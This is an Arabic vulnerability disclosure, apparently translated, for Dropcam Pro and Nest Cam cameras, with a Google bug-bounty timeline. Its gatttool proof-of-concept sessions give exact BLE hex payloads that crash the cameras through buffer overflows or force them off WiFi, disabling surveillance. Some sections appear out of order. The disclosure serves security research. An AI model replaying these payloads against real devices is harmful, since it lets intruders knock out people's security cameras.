
إفصاحات ثغرات PoC لكاميرات إنترنت الأشياء الاستهلاكية، تعرض تفاصيل تجاوز سعة المخزن المؤقت في BLE وهجمات فصل WiFi التي يمكنها إخراج الأجهزة من الخدمة.
المتأثرة: طرازات Dropcam Pro وNest Cam الداخلية/الخارجية
أحدث إصدار متأثر: 205-600052
إصدار الإصلاح الجزئي: 205-600055
تحديث إصدار البرنامج الثابت الأحدث 205-600055 لا يصلح ثغرة انقطاع اتصال WiFi في Dropcam Pro. إذا كانت شبكة WiFi المقدمة غير موجودة، فقد تم تحسين وقت إعادة الارتباط وأصبح يعيد الاتصال خلال حوالي 10 ثوانٍ. ومع ذلك، لا يزال بإمكان المهاجم توفير شبكة WiFi صالحة لإبقاء الكاميرا دون اتصال بشكل دائم.
الجدول الزمني للإفصاح:
26 أكتوبر 2016: تم الإبلاغ عن الثغرة الأمنية وفقًا لإرشادات برنامج مكافآت الثغرات الأمنية في Google
27 أكتوبر 2016: أقر فريق أمن Google باستلام التقرير وبدء التحقيق فيه
1 نوفمبر 2016: تحقق فريق أمن Google من الثغرات المبلغ عنها وسجل خطأ برمجيًا
15 نوفمبر 2016: منحت لوحة VRP في Google مكافأة قدرها 100 دولار ضمن "عمليات الاستحواذ غير المدمجة"
17 مارس 2017: إفصاح عام
تطبيق iOS لإثبات المفهوم بواسطة Troy Stribling :: NestPWN
الملخص
من الممكن استغلال حالة تجاوز سعة المخزن المؤقت عند تعيين معامل SSID على الكاميرا. يجب أن يكون المهاجم ضمن نطاق Bluetooth في أي وقت أثناء تشغيل الكاميرا. لا يتم تعطيل Bluetooth أبدًا حتى بعد الإعداد الأولي.
إثبات المفهوم
anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a031201AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3b
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>
(gatttool:20352): GLib-WARNING **: Invalid file descriptor.
التفاصيل
يحاول الحمولة تعيين SSID بطول 1 بايت ويرسل 16.
SequenceNum=3a + Type=0312 + Length=01 + Value=AA*16
النتيجة
انهيار وإعادة تشغيل تعيد الجهاز إلى الحالة التشغيلية
الملخص
من الممكن استغلال حالة تجاوز سعة المخزن المؤقت عند تعيين معامل كلمة المرور المشفرة على الكاميرا. يجب أن يكون المهاجم ضمن نطاق Bluetooth في أي وقت أثناء تشغيل الكاميرا. لا يتم تعطيل Bluetooth أبدًا حتى بعد الإعداد الأولي.
إثبات المفهوم
anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a03120b506574536d6172742d356e1a01AAAAAA
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3b
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>
(gatttool:20352): GLib-WARNING **: Invalid file descriptor.
الملخص
من الممكن فصل الكاميرا عن WiFi من خلال تزويدها بـ SSID جديد للاتصال به. لا تدعم هذه الكاميرات التخزين المحلي لمقاطع الفيديو وبالتالي يتم تعطيل المراقبة مؤقتًا. يجب أن يكون المهاجم ضمن نطاق Bluetooth في أي وقت أثناء تشغيل الكاميرا. لا يتم تعطيل Bluetooth أبدًا حتى بعد الإعداد الأولي.
إثبات المفهوم
anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a03120b0a6574536d6172742d356e1a20232320
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3becb824ba437c13233ac2ff78b1776456e47a01
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3ca5787d2f5e53f394a512200228003210bc9253
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3d48cada7a0d921d57b2d26ae89c3a04DEADBEEF
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3e
التفاصيل
يحاول الحمولة تعيين كلمة مرور WiFi المشفرة بطول 1 بايت ويرسل 3.
SequenceNum=3a + Type=0312 + Length=0b + ssidVal=506574536d6172742d356e + type=1a + length=01 + encPass=AA*3
النتيجة
انهيار وإعادة تشغيل تعيد الجهاز إلى الحالة التشغيلية
Characteristic value was written successfullyCharacteristic value was written successfullyCharacteristic value was written successfullyCharacteristic value was written successfullyCharacteristic value was written successfully[18:B4:30:5D:00:B8][LE]> التفاصيل
يحاول الحمولة تغيير SSID المرتبط بكاميرا Nest Cam مما يتسبب في فصل مؤقت عن SSID WiFi الحالي.
seqNum + 0312(type) 0b(len) + SSID + 1a(type) 20(len) + encPass
seqNum + encPass(cont)
seqNum + encPass(cont) + 2002280032(constant) + 10(len) + authTag
seqNum + authTag(cont) + 3a(UnknownType) 04(len) + DEADBEEF
seqNum(execute)
النتيجة
تفصل الكاميرا عن شبكة WiFi الحالية لمحاولة الاتصال بـ SSID المضبوط حديثًا. إذا لم تكن شبكة WiFi موجودة، فستبقى الكاميرا دون اتصال لمدة تتراوح بين 60 و90 ثانية تقريبًا قبل أن تعود إلى شبكة WiFi الأصلية واستئناف التشغيل العادي. إذا كانت الشبكة موجودة، فستتحقق من اتصال الإنترنت وتبقى على الشبكة الجديدة.